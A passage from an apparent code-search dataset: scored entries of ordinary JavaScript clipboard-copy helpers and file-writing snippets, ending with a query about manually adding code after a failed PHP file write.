dummy textarea and add required text\n var dummy = document.createElement(\"textarea\");\n document.body.appendChild(dummy);\n dummy.value = text;\n \n // select text and copy\n dummy.select();\n document.execCommand(\"copy\");\n \n // remove dummy textarea\n\tdocument.body.removeChild(dummy);\n}", "title": "" }, { "docid": "7bc43dcd916114d2956bb1a257637821", "score": "0.56889516", "text": "copyToClipboard(text) {\n var dummy = document.createElement(\"input\");\n document.body.appendChild(dummy);\n dummy.setAttribute(\"id\", \"dummy_id\");\n dummy.setAttribute('value', text);\n dummy.select();\n document.execCommand(\"copy\");\n document.body.removeChild(dummy);\n this._Alert.copySuccess();\n }", "title": "" }, { "docid": "7bc43dcd916114d2956bb1a257637821", "score": "0.56889516", "text": "copyToClipboard(text) {\n var dummy = document.createElement(\"input\");\n document.body.appendChild(dummy);\n dummy.setAttribute(\"id\", \"dummy_id\");\n dummy.setAttribute('value', text);\n dummy.select();\n document.execCommand(\"copy\");\n document.body.removeChild(dummy);\n this._Alert.copySuccess();\n }", "title": "" }, { "docid": "3391664b5cadd976f7bb5b27c8a0756a", "score": "0.5685526", "text": "setEventClipboardData(e) {\n const clipboardData = e.clipboardData || e.originalEvent.clipboardData\n if (clipboardData && clipboardData.getData) {\n const text = clipboardData.getData(\"text/plain\")\n document.execCommand(\"insertHTML\", false, text)\n return true\n } else {\n return false\n }\n }", "title": "" }, { "docid": "d8acbd1ab7477d7a1be416999d19bfd0", "score": "0.5672726", "text": "function doCopy(copy, original) {\r\n\t\t\t\tvar value, key;\r\n\r\n\t\t\t\tfor(key in original) {\r\n\t\t\t\t\tif(original.hasOwnProperty(key)) {\r\n\t\t\t\t\t\tvalue = original[key];\r\n\t\t\t\t\t\tif(value && typeof value === 'object' && value.constructor !== Array && typeof value.nodeType !== 'number') {\r\n\t\t\t\t\t\t\tcopy[key] = doCopy(copy[key] || {}, value);\r\n\t\t\t\t\t\t\t// copy\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tcopy[key] = original[key];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\treturn copy;\r\n\t\t\t}", "title": "" }, { "docid": "94a351ce9a2d5f652f0443e6888e2c53", "score": "0.5672554", "text": "function clipboardCopy(text) {\n const urlTextBox = document.getElementById('urlTextBox');\n urlTextBox.select(); \n urlTextBox.setSelectionRange(0, 99999);\n document.execCommand('copy');\n setTimeout(function () { urlTextBox.blur(); });\n}", "title": "" }, { "docid": "f5903ea098d48aa1e7c010563d5ec49a", "score": "0.56716967", "text": "function oncopy (event) { // eslint-disable-line no-inner-declarations\n document.removeEventListener('copy', oncopy, true)\n event.stopImmediatePropagation()\n event.preventDefault()\n event.clipboardData.setData('text/plain', text)\n }", "title": "" }, { "docid": "cc0dea77a1ce62367163a051b6f02707", "score": "0.5660451", "text": "function copyToClipboard() {\n\n var fullOutputText = document.getElementById(\"textOutput\");\n fullOutputText.select();\n\n document.execCommand(\"copy\");\n\n document.getElementById(\"tooltipText\").textContent=\"Success!\";\n }", "title": "" }, { "docid": "e02daa4c4ebd6cd912cd2dfb3a66941b", "score": "0.565844", "text": "function copy_clip (meintext) {\r\n // Copyright (C) krikkit - [email protected]\r\n // http://www.krikkit.net/howto_javascript_copy_clipboard.html\r\n if (window.clipboardData) \r\n {\r\n // the IE-manier\r\n window.clipboardData.setData(\"Text\", meintext);\r\n \r\n // waarschijnlijk niet de beste manier om Moz/NS te detecteren;\r\n // het is mij echter onbekend vanaf welke versie dit precies werkt:\r\n }\r\n else if (unsafeWindow.netscape) \r\n { \r\n // dit is belangrijk maar staat nergens duidelijk vermeld:\r\n // you have to sign the code to enable this, or see notes below \r\n unsafeWindow.netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');\r\n \r\n // maak een interface naar het clipboard\r\n var clip = Components.classes['@mozilla.org/widget/clipboard;1']\r\n .createInstance(Components.interfaces.nsIClipboard);\r\n if (!clip) return;\r\n \r\n // maak een transferable\r\n var trans = Components.classes['@mozilla.org/widget/transferable;1']\r\n .createInstance(Components.interfaces.nsITransferable);\r\n \r\n if (!trans) return;\r\n \r\n // specificeer wat voor soort data we op willen halen; text in dit geval\r\n trans.addDataFlavor('text/unicode');\r\n \r\n // om de data uit de transferable te halen hebben we 2 nieuwe objecten \r\n // nodig om het in op te slaan\r\n var str = new Object();\r\n var len = new Object();\r\n \r\n var str = Components.classes[\"@mozilla.org/supports-string;1\"]\r\n .createInstance(Components.interfaces.nsISupportsString);\r\n \r\n var copytext=meintext;\r\n \r\n str.data=copytext;\r\n \r\n trans.setTransferData(\"text/unicode\",str,copytext.length*2);\r\n \r\n var clipid=Components.interfaces.nsIClipboard;\r\n \r\n if (!clip) return false;\r\n \r\n clip.setData(trans,null,clipid.kGlobalClipboard);\r\n }\r\n else {\r\n return false;\r\n }\r\n \r\n return true;\r\n}", "title": "" }, { "docid": "be4769f71162028e0a46b6a0b4305bae", "score": "0.5649348", "text": "function copyHandler() {\n if (selectedIndex !== -1) {\n av.effects.moveValue(jsavArr, selectedIndex, returnArr, 0);\n jsavArr.css(selectedIndex, {\"background-color\": \"#ddd\"});\n jsavArr.css(selectedIndex, {\"font-size\": \"100%\"});\n jsavArr.unhighlight(selectedIndex);\n selectedIndex = -1;\n astackPopPRO.userInput = true;\n }\n }", "title": "" }, { "docid": "3cb4befed8786c640159159b91667167", "score": "0.56468105", "text": "function Copy() {\n // clone what are you copying since you\n // may want copy and paste on different moment.\n // and you do not want the changes happened\n // later to reflect on the copy.\n if(checkLayerType() === \"tile\" && !checkLockStatus(curLayerSelected)){\n gridCanvas.getActiveObject().clone(function(cloned) {\n _clipboard = cloned;\n },['id']);\n }\n else if(checkLayerType() === \"object\" && !checkLockStatus(curLayerSelected)){\n let obj = gridCanvas.getActiveObject();\n if(gridCanvas.getActiveObject().type !== 'activeSelection'){\n objScaleX = obj.scaleX;\n objScaleY = obj.scaleY;\n if(obj.width*objScaleX !== tileW || obj.height*objScaleY !== tileH){\n console.log(\"scaled!\");\n obj.set({\n scaleX: 1,\n scaleY: 1,\n });\n gridCanvas.renderAll();\n obj.clone(function(cloned) {\n _clipboard = cloned;\n });\n obj.set({\n scaleX: objScaleX,\n scaleY: objScaleY,\n });\n gridCanvas.renderAll();\n }else{\n gridCanvas.getActiveObject().clone(function(cloned) {\n _clipboard = cloned;\n },['id']);\n }\n }else{\n gridCanvas.discardActiveObject();\n }\n }\n}", "title": "" }, { "docid": "86318a25bd280b956624866f73c3737c", "score": "0.5638148", "text": "function copyToClipboard(elem) {\n var targetId = \"_hiddenCopyText_\";\n var isInput = elem.tagName === \"INPUT\" || elem.tagName === \"TEXTAREA\";\n var origSelectionStart, origSelectionEnd;\n if (isInput) {\n target = elem;\n origSelectionStart = elem.selectionStart;\n origSelectionEnd = elem.selectionEnd;\n } else {\n target = document.getElementById(targetId);\n if (!target) {\n var target = document.createElement(\"textarea\");\n target.style.position = \"absolute\";\n target.style.left = \"-9999px\";\n target.style.top = \"0\";\n target.id = targetId;\n document.body.appendChild(target);\n }\n target.textContent = elem.textContent;\n }\n var currentFocus = document.activeElement;\n target.focus();\n target.setSelectionRange(0, target.value.length);\n var succeed;\n try {\n \t succeed = document.execCommand(\"copy\");\n } catch(e) {\n \tdocument.getElementById(\"error5\").innerHTML = \"\";\n succeed = false;\n }\n if (currentFocus && typeof currentFocus.focus === \"function\") {\n currentFocus.focus();\n }\n if (isInput) {\n elem.setSelectionRange(origSelectionStart, origSelectionEnd);\n } else {\n target.textContent = \"\";\n }\n return succeed;\n}", "title": "" }, { "docid": "6a8ec97775f6e552ce26b79ac5c7d716", "score": "0.5637231", "text": "function copy() {\n try {\n document.execCommand(\"copy\");\n } catch (err) {\n console.error(err);\n }\n}", "title": "" }, { "docid": "1d9f327fc4285e52cf6848d9da5e3d1b", "score": "0.56370515", "text": "copyToClipboard(str, cb) {\n\t\tmLog('copyToClipboard()')\n\t\tthis.remote.copyToClipboard(str, cb, err => {\n\t\t\talert(err.message)\n\t\t})\n\t}", "title": "" }, { "docid": "10375c73efe0d54817387baf42604fb1", "score": "0.5636678", "text": "static copyToClipboardAndShowNotification(debugData) {\r\n const startTime = new Date();\r\n const apiName = \"DebugInformationManager.copyToClipboardAndShowNotification\";\r\n const timeTaken = Date.now() - startTime.getTime();\r\n const telemetryData = new Object();\r\n telemetryData.DebugData = debugData;\r\n Internal.logApiData(telemetryData, startTime, timeTaken, apiName);\r\n const el = document.createElement('textarea');\r\n el.value = debugData;\r\n el.setAttribute('readonly', '');\r\n el.setAttribute('role', 'presentation');\r\n el.setAttribute('tabindex', '-1');\r\n el.style.setProperty(\"position\", 'absolute');\r\n el.style.setProperty(\"left\", \"-9999px\");\r\n document.body.appendChild(el);\r\n setTimeout(() => {\r\n el.select();\r\n setTimeout(() => {\r\n try {\r\n const copyStatus = document.execCommand('copy');\r\n if (!copyStatus) {\r\n // tslint:disable-next-line:no-console\r\n console.error(\"copyDebugDataToClipboard: Cannot copy text\");\r\n Microsoft.CIFramework.Internal.showGlobalToastNotification(4 /* information */, Microsoft.CIFramework.Utility.getResourceString(\"DIAGNOSTIC_TEXT_COPY_FAILURE\"), \"\");\r\n }\r\n else {\r\n // tslint:disable-next-line:no-console\r\n console.log(\"copyDebugDataToClipboard: The text is now on the clipboard\");\r\n Microsoft.CIFramework.Internal.showGlobalToastNotification(4 /* information */, Microsoft.CIFramework.Utility.getResourceString(\"DIAGNOSTIC_TEXT\"), \"\");\r\n }\r\n }\r\n catch (err) {\r\n // tslint:disable-next-line:no-console\r\n console.log(\"Error : copyDebugDataToClipboard- Unable to copy.\" + err);\r\n const errorData = Internal.generateErrorObject(err, \"copyToClipboardAndShowNotification - Unable to copy\", Internal.errorTypes.GenericError);\r\n Internal.logFailure(Internal.appId, true, errorData, CIFramework.MessageType.fetchDebugData, Internal.cifVersion);\r\n }\r\n document.body.removeChild(el);\r\n }, 500);\r\n }, 500);\r\n }", "title": "" }, { "docid": "15b634bfc65dbb11a3ca27723e471522", "score": "0.56362927", "text": "function copy() {\n var copyText = document.querySelector(\"#textarea\");\n copyText.select();\n document.execCommand(\"copy\");\n textarea.textContent = \"Your Secure Password\";\n }", "title": "" }, { "docid": "65eefd052aa403c64a27a44b60485b8f", "score": "0.5635876", "text": "function copy() {\r\n let copyText = document.getElementById(\"macroOutput\");\r\n copyText.select();\r\n document.execCommand(\"copy\");\r\n }", "title": "" }, { "docid": "c92e66d34a8df57a6f1c462cb51f3c9f", "score": "0.56342626", "text": "function copied() {\n const el = jQuery(\".code-block\");\n el.select();\n document.execCommand('copy');\n}", "title": "" }, { "docid": "903d08f834cc80111c63c9058bb6c8d6", "score": "0.5634023", "text": "onCopy(i) {\n const data = this[`dataCol${i}`];\n const textField = document.createElement('textarea');\n textField.innerText = data.innerText;\n document.body.appendChild(textField);\n textField.select();\n document.execCommand('copy');\n textField.remove();\n }", "title": "" }, { "docid": "a835dda4572540e5cbb8c7d496263c65", "score": "0.56321996", "text": "copyProductUniqueIdToClipboard() {\n const textArea = document.createElement(\"textarea\");\n textArea.value = this.state.productUniqueId;\n document.body.appendChild(textArea);\n textArea.select();\n document.execCommand(\"Copy\");\n textArea.remove();\n this.setState({ copyTooltipText: \"Copied\" });\n }", "title": "" }, { "docid": "6dff3d8d41d123b49e774b2ead00a68d", "score": "0.5631169", "text": "function copy(id) {\n let from = document.getElementById(id);\n let range = document.createRange();\n window.getSelection().removeAllRanges();\n range.selectNode(from);\n window.getSelection().addRange(range);\n document.execCommand('copy');\n window.getSelection().removeAllRanges();\n}", "title": "" }, { "docid": "a196b952ad6aeaef8dfdb5c3dec63610", "score": "0.5628855", "text": "function copy(url) {\n var copyElem = document.createElement(\"input\");\n document.body.appendChild(copyElem);\n copyElem.setAttribute(\"id\", \"copyElem\");\n document.getElementById(\"copyElem\").value = \"http://liamp.uk/go?board=\"+url;\n // document.getElementById(\"copyElem\").value = \"http://127.0.0.1:5500/go.html?board=\"+url;\n copyElem.select();\n document.execCommand(\"copy\");\n document.body.removeChild(copyElem);\n}", "title": "" }, { "docid": "9a90a323117b1c09d218f04607a6991d", "score": "0.5628037", "text": "function copyToClipboard(text) {\n document.addEventListener(\n \"copy\",\n function(e) {\n e.clipboardData.setData(\"text/plain\", text);\n e.preventDefault();\n },\n { once: true }\n );\n document.execCommand(\"copy\");\n}", "title": "" }, { "docid": "d884b2e7b3a3b6c434525c6aeb54b7ad", "score": "0.5626932", "text": "function copy_html() {\n var htm = $('#editor').trumbowyg('html');\n htm = htm.replace(/\\r?\\n|\\r/g, \" \");\n // for copying text into clipboard\n const el = document.createElement('textarea');\n el.value = htm;\n document.body.appendChild(el);\n el.select();\n document.execCommand('copy');\n document.body.removeChild(el);\n }", "title": "" }, { "docid": "e9695d84b1fc08f30df2eda5b6fdb77b", "score": "0.5626544", "text": "function copyToClipboard(content) {\n console.log(\"Copying content to clipboard: \" + content);\n var sandbox = document.getElementById(\"sandbox\");\n sandbox.value = content;\n sandbox.select();\n if (document.execCommand(\"copy\")) {\n console.log(\"Copied content to clipboard\");\n } else {\n console.error(\"Error copying content to clipboard\");\n }\n sandbox.value = '';\n}", "title": "" }, { "docid": "852cad4f259842f937d92dd64e994efd", "score": "0.56244284", "text": "function copyToClipboard( text ){\n\tvar copyDiv = document.createElement('div');\n\tcopyDiv.contentEditable = true;\n\tdocument.body.appendChild(copyDiv);\n\tcopyDiv.innerHTML = text;\n\tcopyDiv.unselectable = \"off\";\n\tcopyDiv.focus();\n\tdocument.execCommand('SelectAll');\n\tdocument.execCommand(\"Copy\", false, null);\n\tdocument.body.removeChild(copyDiv);\n}", "title": "" }, { "docid": "68338a14b0d9b7230a80d5da7b3817f1", "score": "0.56240463", "text": "function editOnCopy(e) {\n\t var editorState = this.props.editorState;\n\t var selection = editorState.getSelection();\n\t\n\t // No selection, so there's nothing to copy.\n\t if (selection.isCollapsed()) {\n\t e.preventDefault();\n\t return;\n\t }\n\t\n\t this.setClipboard(getFragmentFromSelection(this.props.editorState));\n\t}", "title": "" }, { "docid": "c25bc40971472c71f203c1a4654ad3d9", "score": "0.56183386", "text": "function copyContentsToClipboard() {\n navigator.clipboard.writeText(tableContentsAsStr)\n console.log('Copied!')\n }", "title": "" }, { "docid": "3ba1697fea477423a782b8fff7b85b7a", "score": "0.5617181", "text": "function copyTextToClipboard(text) {\n\tlet scratchpad = document.querySelector(\"#scratchpad\");\n\n\t// Perform copy operation.\n\tscratchpad.innerText = text;\n\tselectElementContents(scratchpad);\n\tdocument.execCommand(\"copy\");\n\tscratchpad.innerText = \"\";\n}", "title": "" }, { "docid": "3ba1697fea477423a782b8fff7b85b7a", "score": "0.5617181", "text": "function copyTextToClipboard(text) {\n\tlet scratchpad = document.querySelector(\"#scratchpad\");\n\n\t// Perform copy operation.\n\tscratchpad.innerText = text;\n\tselectElementContents(scratchpad);\n\tdocument.execCommand(\"copy\");\n\tscratchpad.innerText = \"\";\n}", "title": "" }, { "docid": "e8f72341697931408f891150c681aab0", "score": "0.56162196", "text": "copyFromHardcoded() {\n const text = this.getAttributeValue('text')\n if (!text) return\n\n // Creates a ghost textarea to copy from\n const el = document.createElement('textarea')\n el.value = text\n el.setAttribute('readonly', '')\n el.style.position = 'absolute'\n el.style.left = '-9999px'\n document.body.appendChild(el)\n\n return this.copy(el, () => {\n // Remove ghost textare\n document.body.removeChild(el)\n })\n }", "title": "" }, { "docid": "5d0c9b8d5ff5df2ada99625b3a532c4b", "score": "0.56153214", "text": "function copyLinkToClipboard() {\n document.querySelector('#urlToCopy').select();\n document.execCommand('copy');\n}", "title": "" }, { "docid": "fa1463084efdd012ad302efefa47a925", "score": "0.5612453", "text": "function editOnCopy(e) {\n\t var editorState = this.props.editorState;\n\t var selection = editorState.getSelection();\n\n\t // No selection, so there's nothing to copy.\n\t if (selection.isCollapsed()) {\n\t e.preventDefault();\n\t return;\n\t }\n\n\t this.setClipboard(getFragmentFromSelection(this.props.editorState));\n\t}", "title": "" }, { "docid": "fa1463084efdd012ad302efefa47a925", "score": "0.5612453", "text": "function editOnCopy(e) {\n\t var editorState = this.props.editorState;\n\t var selection = editorState.getSelection();\n\n\t // No selection, so there's nothing to copy.\n\t if (selection.isCollapsed()) {\n\t e.preventDefault();\n\t return;\n\t }\n\n\t this.setClipboard(getFragmentFromSelection(this.props.editorState));\n\t}", "title": "" }, { "docid": "bee03b2ec89eb5de661f9c26262d1824", "score": "0.56102884", "text": "function copyPassword() {\n var clipboard = document.getElementById(\"password\");\n clipboard.select();\n\n var coppiedPassword = clipboard.textContent;\n console.log(clipboard);\n console.log(coppiedPassword);\n document.execCommand(\"copy\");\n\n alert(\"Password is copied to clipboard!\" + clipboard.value);\n}", "title": "" }, { "docid": "f0780a532422bdbbca58a088e17d5a98", "score": "0.5604394", "text": "function copyScape() {\n clip = new clipboard('.copy-scape');\n clip.on('success', function(e) {\n console.info('Action:', e.action);\n console.info('Text:', e.text);\n console.info('Trigger:', e.trigger);\n e.clearSelection();\n });\n\n clip.on('error', function(e) {\n console.error('Action:', e.action);\n console.error('Trigger:', e.trigger);\n });\n }", "title": "" }, { "docid": "43c60d911fdab18d8a5bd323edfb5458", "score": "0.5603809", "text": "copyHtml() {\n const htmlToCopy = this.htmlWrapper.innerHTML.trim();\n this.contentToClipboard(htmlToCopy);\n }", "title": "" }, { "docid": "fdc577e5641b9a670a33a645d93202f5", "score": "0.5602669", "text": "function copySelection() {\n\tcopiedEndX = endX;\n\tcopiedEndY = endY;\n\n\tcopiedStartX = startX;\n\tcopiedStartY = startY;\n\t// Getting the selected pixels\n\tclipboardData = currentLayer.context.getImageData(startX, startY, endX - startX + 1, endY - startY + 1);\n}", "title": "" }, { "docid": "4f41a2d34f2ff5a70b8fafc231e32996", "score": "0.5599434", "text": "copySummaryToClipboard() {\n copyToClipboard(this.summaryListContent());\n }", "title": "" }, { "docid": "99731830aea0e6495f395ea27d53a460", "score": "0.5597626", "text": "function n_CopyClipboard() {\n\tvar content = n_tmpl;\n\tcontent.message = \"Text Copied to the Clipboard. Please paste it into an empty text file!\"\n\tcontent.contextMessage = (new Date()).toLocaleString();\n\tchrome.notifications.create(__config.notificationID + \"-\" + Date.now(), content, function() {n_callback();});\n}", "title": "" }, { "docid": "891bf4da09e7d238a7990b865be97ac5", "score": "0.5593255", "text": "function executeCopy(text) {\n var input = document.createElement('textarea');\n input.style.position = \"fixed\";\n input.style.height = \"0px\";\n input.style.width = \"0px\";\n input.style.opacity = \"0\";\n document.body.appendChild(input);\n input.value = text;\n input.focus();\n input.select();\n document.execCommand('Copy');\n input.remove();\n var message = 'Copied to clipboard';\n var postData = {};\n postData.name = 'showMessage';\n postData.message = 'Text copied to clipboard';\n postData.messageType = 'info';\n top.postMessage(postData, \"*\");\n toastr.success(message);\n}", "title": "" }, { "docid": "236c62c5e66d9c5641eae9feef81c521", "score": "0.55848056", "text": "function backupJson(json) {\n log(' Backing up JSON to file...',i);\n fs.writeFile(CONFIG.getJsonPath(), JSON.stringify(json),\n function(err) {\n if (err) { log(err,e) }\n else { log(' Backup JSON saved',i) }\n }\n );\n }", "title": "" }, { "docid": "f2d288d1ea8abb127e0b059a9c892158", "score": "0.5578483", "text": "function copyToClipboard(text) {\n let dummy = document.createElement(\"input\");\n document.body.appendChild(dummy);\n dummy.setAttribute(\"value\", text);\n dummy.select();\n document.execCommand(\"copy\");\n document.body.removeChild(dummy);\n}", "title": "" }, { "docid": "aedf7a6d3c4dce78e37c13213c6cf3a0", "score": "0.55754215", "text": "function copyFunction(){\r\n var copyText = document.getElementById(\"myInput\");\r\n copyText.select();\r\n document.execCommand(\"copy\");\r\n \r\n \r\n }", "title": "" }, { "docid": "f7c297f95d3d3ee99e32dbe24c63b1cd", "score": "0.55721", "text": "function raw_copy(data) {\n if (typeof data == \"string\") {\n data = [[\"text/plain\", data]];\n }\n\n // Validate that we don't have any duplicate MIME types.\n var seen = {};\n for (var i = 0; i < data.length; ++i) {\n if (seen[data[i][0]]) {\n throw new Error(\"Data array contains duplicated MIME type\");\n }\n seen[data[i][0]] = true;\n }\n\n // An error which may have been generated during one of our callbacks which\n // we need to throw.\n var error = null;\n\n var invoked = false;\n function callback(event) {\n try {\n invoked = true;\n\n // Attempt to set the data on the clipboardData object.\n for (var i = 0; i < data.length; ++i) {\n var mime = data[i][0];\n var value = data[i][1];\n if (event.clipboardData) {\n event.clipboardData.setData(mime, value);\n } else {\n // In Internet Explorer, we need to use the non-standard clipboardData\n // global object instead of event.clipboardData, and can only support\n // some MIME types.\n if (mime == \"text/plain\") {\n glbl.clipboardData.setData(\"Text\", value);\n } else {\n error = new Error(\"MIME type \" + mime + \" is not supported on Internet Explorer\");\n return;\n }\n }\n }\n\n event.preventDefault();\n } catch (e) {\n error = e;\n }\n }\n\n document.body.addEventListener(\"copy\", callback);\n\n var dummy;\n try {\n // Unfortunately, Internet Explorer and Safari require a valid input\n // selection to be able to copy text to the clipboard, so we need to set\n // up a dummy textarea offscreen with garbage data, and select it.\n //\n // NOTE: We should be able to skip this step on modern Chrome and Firefox\n // browsers, but for consistency across platforms I don't use UA detection\n // to do this.\n\n dummy = document.createElement(\"textarea\");\n\n // Style the element to make adding it to the document as non-disruptive\n // as possible. This code is inspired by clipboard.js.\n dummy.style.border = \"0\";\n dummy.style.padding = \"0\";\n dummy.style.margin = \"0\";\n // Move the element out of screen horizontally.\n dummy.style.position = \"absolute\";\n dummy.style.left = '-9999px';\n\n var scrolltop = window.pageYOffset || document.documentElement.scrollTop;\n dummy.style.top = scrolltop + \"px\";\n dummy.setAttribute(\"readonly\", \"\");\n\n // Fill the dummy element with a short, non-empty value to create a valid\n // copy selection.\n dummy.value = \"a\";\n document.body.appendChild(dummy);\n\n // Select that element.\n dummy.select();\n dummy.setSelectionRange(0, dummy.value.length);\n\n // We're now ready to perform the copy!\n var succeeded;\n try {\n succeeded = document.execCommand(\"copy\");\n } catch (e) {\n throw new Error(\"An error was thrown by ExecCommand: \" + e);\n }\n\n // If we got an error while the callback was running, re-throw it.\n if (error) {\n throw error;\n }\n\n // Check if it failed, and raise an exception in that case\n if (!succeeded) {\n throw new Error(\"ExecCommand copy failed\");\n }\n\n if (!invoked) {\n throw new Error(\"This browser does not support the copy clipboard event\");\n\n // XXX(todo): Fallback and try filling in dummy.value/re-execing here?\n }\n } finally {\n document.body.removeEventListener(\"copy\", callback);\n document.body.removeChild(dummy);\n }\n }", "title": "" }, { "docid": "174892a1dd7ded0586ca7af361347c24", "score": "0.55670226", "text": "function setClickCopyText(newText) {\n var clickText = document.getElementById('clipboard');\n clickText.innerHTML = newText;\n}", "title": "" }, { "docid": "4957bad94e9615b4181be8d99a46811b", "score": "0.55639446", "text": "function copyToClipboard (text) {\n window.prompt(getLocalizedString(pageNavStrings.z_PAGENAV_COPY_TO_CLIPBOARD), text);\n}", "title": "" }, { "docid": "2188f4eb8bad06ed633f3aea798732aa", "score": "0.5550785", "text": "static copyElementToClipboard(element) {\n const notActive = { TEXTAREA: true }\n let parent = element.$ || element\n while (notActive[parent.tagName])\n parent = parent.parent();\n SFUtil.copyTextToCilpboard(element.value || element.textContent, parent);\n }", "title": "" }, { "docid": "46005a07f1a5a6d7cae500cf02aef67c", "score": "0.5549445", "text": "function freezeCopy(target){\n return JSON.parse(JSON.stringify(target));\n}", "title": "" }, { "docid": "513db9c6d1996f37a0e15dd8ba284e55", "score": "0.5546233", "text": "copyUrl() {\n const { params } = this.props.match;\n const { appID } = params;\n const app = this.getAppInfo(appID);\n navigator.clipboard.writeText(app.url);\n this.setState({ urlChecked: true });\n }", "title": "" } ]
3633e5167ee5566a13ab285910325e0a
If the php file writing fails show to the user how to manually add the code
[ { "docid": "9bb05b2cf0b888afed21510379e23ec2", "score": "0.0", "text": "updateInstructions() {\n this.log(\n chalk.bold.yellow('You should manually add'),\n `include_once(${this.props.definePrefix}_INCLUDE_DIR . ${this.fileRelativePath}`,\n chalk.bold.yellow('to your plugin main class file.')\n );\n }", "title": "" } ]
[ { "docid": "e7ad07ac56a54b9995c1a402bd6c6da2", "score": "0.60169464", "text": "function _fail(response, code, fileContent) {\n var textTypeHeader = { \"Content-Type\": \"text/plain\" };\n response.writeHead(code, textTypeHeader);\n response.write(fileContent, \"utf8\");\n response.end();\n }", "title": "" }, { "docid": "9b225a16a8d6abd07de7de04d1b842fa", "score": "0.5835095", "text": "writing() {\n\n\n //Write main.js file\n this.fs.copyTpl(\n this.templatePath(`${this.options.byuiOptions.fillTemplateObject.codeTemplate}/${this.filenames.mainJs}`),\n this.destinationPath(this.filenames.mainJs),\n this.options.byuiOptions.fillTemplateObject\n );\n\n //Write bin.js file\n this.fs.copyTpl(\n this.templatePath(`${this.options.byuiOptions.fillTemplateObject.codeTemplate}/${this.filenames.binJs}`),\n this.destinationPath(this.filenames.binJs),\n this.options.byuiOptions.fillTemplateObject\n );\n\n //Write test.js file\n this.fs.copyTpl(\n this.templatePath(`${this.options.byuiOptions.fillTemplateObject.codeTemplate}/${this.filenames.testJs}`),\n this.destinationPath(this.filenames.testJs),\n this.options.byuiOptions.fillTemplateObject\n );\n\n\n }", "title": "" }, { "docid": "1b50346a5ddc18ae6646a63589352e84", "score": "0.5709657", "text": "function errorHandler() {\r\n\r\n document.write( \"There was a problem retrieving the data file.\" );\r\n\r\n }", "title": "" }, { "docid": "0702434f0328fa6ddcd02dc5da966e67", "score": "0.56170964", "text": "function generateCode() {\n //creates the header data\n const header = processHeader(allLines);\n //write the code\n generateDataFields(header);\n generateWriter(header);\n }", "title": "" }, { "docid": "c81dcc8b38407b36b6b3e1930b9d44ac", "score": "0.56092894", "text": "function writeToFile( fileName, data ) {\n const finalString = generate.generateMarkdown( data );\n fs.appendFile( fileName, finalString, ( err ) => {\n err ? console.log( err ) : console.log( `Tests instructions successfully written.` );\n })\n}", "title": "" }, { "docid": "f7b69862d88d6c9208517a52984a43c9", "score": "0.5583919", "text": "function writeJS(fileName,src) {\r\n\t\t\r\n\t\tdocument.write('<script src=\"' + src + fileName + '.js\"></script>');\r\n\t\treturn false;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "ead818627f7831a4a42945fe049f9a4a", "score": "0.55403453", "text": "function writeToFile(fileName, data) {\n fs.writeFile(\"test.txt\", finalReadMe, err => {\n err ? console.log(\"Error, try again\") : (\"Success!\")\n })\n}", "title": "" }, { "docid": "b140b327f91e02565ae896b9e6078c61", "score": "0.5523297", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, (err) => \n err ? console.log(\"Error, try again!\") : console.log('Your README has been successfully created!')\n);\n}", "title": "" }, { "docid": "71abd235200ca78745440147bdc53cb1", "score": "0.54805267", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, err => {\n if (err) {\n return console.log(err)\n };\n console.log(\"your README file has been generate!!\")\n });\n}", "title": "" }, { "docid": "023964ee14e58265861e59faecf4fe80", "score": "0.5468353", "text": "function wxFile(filename,markUp){\n try {\n fs.writeFile(filename, markUp, (err) => { \n if (err){\n console.log(err);\n } \n else{ \n console.log(\"<---------- File written successfully ---------->\\n\"); \n console.log(\"<---------- The contents of the file written was ---------->\\n\"); \n console.log(fs.readFileSync(filename, \"utf8\")); \n } \n })\n } \n catch (err) {\n console.error(err);\n } \n }", "title": "" }, { "docid": "83570d6de09aa51cd660f57aba37539f", "score": "0.54664165", "text": "function checkFile(filename,markUp){\n \n try {\n if(fs.existsSync(filename)) {\n console.log(\"The readme filename is already being used. Please manually delete the file and re-run the application.\");\n } else {\n wxFile(filename,markUp);\n \n }\n } catch (err) {\n console.error(err);\n }\n\n //End checkFile function\n //Write file if the file doesn't exist.\n function wxFile(filename,markUp){\n try {\n fs.writeFile(filename, markUp, (err) => { \n if (err){\n console.log(err);\n } \n else{ \n console.log(\"<---------- File written successfully ---------->\\n\"); \n console.log(\"<---------- The contents of the file written was ---------->\\n\"); \n console.log(fs.readFileSync(filename, \"utf8\")); \n } \n })\n } \n catch (err) {\n console.error(err);\n } \n }\n }", "title": "" }, { "docid": "347e87417d0f10dfaa1eae99fa3c5cd1", "score": "0.5451076", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, gMarkdown(data), (err) => {\n if (err) {\n console.log(\"Error before gMarkdown began\");\n throw err;\n } else {\n console.log(\"gMarkdown begins\");\n }\n });\n}", "title": "" }, { "docid": "c62f5d905adbf6c5ad46f18133f22a7e", "score": "0.54496306", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, data, function(err) {\n if (err) {\n return console.log(err);\n }\n \n console.log('Generating README here!');\n });\n}", "title": "" }, { "docid": "2dd4aeca650d065e564d30e6ac400a89", "score": "0.5446392", "text": "writeFileAST(fileName, content) {\n const filePath = this.destinationPath(fileName);\n this.log(chalk.green('updated'), `${fileName} source code`)\n fs.writeFileSync(filePath, content, {\n encoding: 'utf8'\n });\n }", "title": "" }, { "docid": "a75ac257369127c361ef85fbc74f2e45", "score": "0.54350865", "text": "function writeToFile(fileName, data) {\n fs.writeFile(fileName, generateMarkdown(data), function(err) {\n if (err) {\n return console.log(err);\n }\n \n console.log('Success!');\n });\n}", "title": "" }, { "docid": "2b5212a5d00dd0679d28ec09e83906b7", "score": "0.5390884", "text": "function exportCode() {\n code = gencode()\n Blockly.Python.INFINITE_LOOP_TRAP = null;\n\n var gen_file = document.createElement('a');\n var file_name = document.getElementById('fname').value\n\n\n gen_file.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(code));\n gen_file.setAttribute('download',file_name);\n\n if (document.createEvent) {\n var event = document.createEvent('MouseEvents');\n event.initEvent('click', true, true);\n gen_file.dispatchEvent(event);\n }\n else {\n gen_file.click();\n }\n}", "title": "" }, { "docid": 